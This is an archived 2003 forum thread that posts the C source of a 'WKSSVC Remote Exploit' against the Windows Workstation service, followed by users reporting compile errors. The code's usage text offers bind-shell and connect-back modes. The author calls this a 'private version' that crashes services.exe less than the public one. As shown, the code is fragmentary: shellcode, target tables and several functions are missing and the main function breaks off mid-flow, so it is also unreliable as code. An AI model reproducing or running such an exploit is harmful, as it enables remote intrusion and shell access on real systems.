/* * Author: snooq [http://www.angelfire.com/linux/snooq/] * Date: 14 November 2003 * * +++++++++++++ THIS IS A PRIVATE VERSION ++++++++++++++++ * * This is just slightly better than the one I posted to * packetstorm.... * * The public version will crash 'services.exe' immediately * while this one crash it only when u exit from shell.... * * I'm still trying to figure out a way to avoid the 'crash' * all together... any ideas???? * * Let me know if you hav trouble compiling this shit... * I hope this could be a good e.g for u to try Win32 * exploitation.. * * This code is crappy... if u know of a better way of doing * things... pls tell me....... * * Otherwise, if you guys r keen... I'll be more than happy * to go thru this in details wif u all... Meanwhile..enjoy! * * +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ */ #pragma comment( lib, "ws2_32.lib" )
void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; port^=KEY; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }
void banner() { printf("\nWKSSVC Remote Exploit By Snooq [jinyean@hotmail.com]\n\n"); }
void usage(char *s) { banner(); printf("Usage: %s [options]\n",s); printf("\t-r\tSize of 'return addresses'\n"); printf("\t-a\tAlignment size [0~3]\n"); printf("\t-p\tPort to bind shell to (in 'connecting' mode), or\n"); printf("\t\tPort for shell to connect back (in 'listening' mode)\n"); printf("\t-s\tShellcode offset from the return address\n"); printf("\t-h\tTarget's IP\n"); printf("\t-t\tTarget types. ( -H for more info )\n"); printf("\t-H\tShow list of possible targets\n"); printf("\t-l\tListening for shell connecting\n"); printf("\t\tback to port specified by '-p' switch\n"); printf("\t-i\tIP for shell to connect back\n"); printf("\t-I\tTime interval between each trial ('connecting' mode only)\n"); printf("\t-T\tTime out (in number of seconds)\n\n"); printf("\tNotes:\n\t======\n\t'-h' is mandatory\n"); printf("\t'-i' is mandatory if '-l' is specified\n\n"); exit(0); }
while(!alarm_fired) { if (GetMessage(&msg, 0, 0, 0) ) { if (msg.message == WM_TIMER) printf("-> WM_TIMER received...\n"); DispatchMessage(&msg); } }
}
void resetalarm() { if (TerminateThread(t2,0)==0) { err_exit("-> Failed to reset alarm..."); } if (TerminateThread(t1,0)==0) { err_exit("-> Failed to kill the 'sending' thread..."); } }
void do_send(char *host,int timeout) { t1=(HANDLE)_beginthread(sendstr,0,host); if (t1==0) { err_exit("-> Failed to send exploit string..."); } t2=(HANDLE)_beginthread(setalarm,0,timeout); if (t2==0) { err_exit("-> Failed to set alarm clock..."); } }
int main(int argc, char *argv[]) {
char opt; char *host, *ptr, *ip=""; struct sockaddr_in sockadd; int i, i_len, ok=0, mode=0, flag=0; int align=ALIGN, retsize=RET_SIZE, sc_offset=SC_OFFSET; int target=TARGET, scsize=SC_SIZE_1, port=PORT; int timeout=TIME_OUT, interval=INTERVAL; long retaddr;
WSADATA wsd; SOCKET s1, s2;
if (argc<2) { usage(argv[0]); }
while ((opt=getopt(argc,argv,"a:i:I:r:s:h:t:T:p:Hl"))!=EOF) { switch(opt) { case 'a': align=atoi(optarg); break;
case 'I': interval=atoi(optarg); break;
case 'T': timeout=atoi(optarg); break;
case 't': target=atoi(optarg); retaddr=targets[target-1].jmpesp; break;
case 'i': ip=optarg; changeip(ip); break;
case 'l': mode=1; scsize=SC_SIZE_2; break;
case 'r': retsize=atoi(optarg); break;
case 's': sc_offset=atoi(optarg); break;
case 'h': ok=1; host=optarg; sockadd.sin_addr.s_addr=inet_addr(optarg); break;
case 'p': port=atoi(optarg); break;
case 'H': showtargets(); break;
default: usage(argv[0]); break; } }
if (!ok || (mode&&((strcmp(ip,"")==0)))) { usage(argv[0]); }
printf("-> Connected to shell at %s:%d\n\n",inet_ntoa(sockadd.sin_addr),port);
resetalarm(); doshell(s1);
}
return 0;
}
Lucaz
Nov 14 2003, 02:26 PM
Damn cant fix it... Error ws12se.c: 319 type error in argument 3 to `beginthread'; found 'int' expec ted 'pointer to void'
coz
Nov 14 2003, 03:54 PM
got the same error + some more ^^
QUOTE
Warning work.c: 186 missing prototype for write Warning work.c: 192 missing prototype for read Error work.c: 319 type error in argument 3 to `beginthread'; found 'int' expect ed 'pointer to void' Warning work.c: 410 result of unsigned comparison is constant Warning work.c: 447 result of unsigned comparison is constant
anybody got an idea?
Wolfman
Nov 14 2003, 05:38 PM
Well, i didnt have any of those errors but got another one instead.
main.obj .text: undefined reference to '_WinMain@16'
coz
Nov 14 2003, 07:28 PM
QUOTE (Wolfman @ Nov 14 2003, 05:38 PM)
Well, i didnt have any of those errors but got another one instead.
main.obj .text: undefined reference to '_WinMain@16'
thats what i got using cygwin... ^^
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
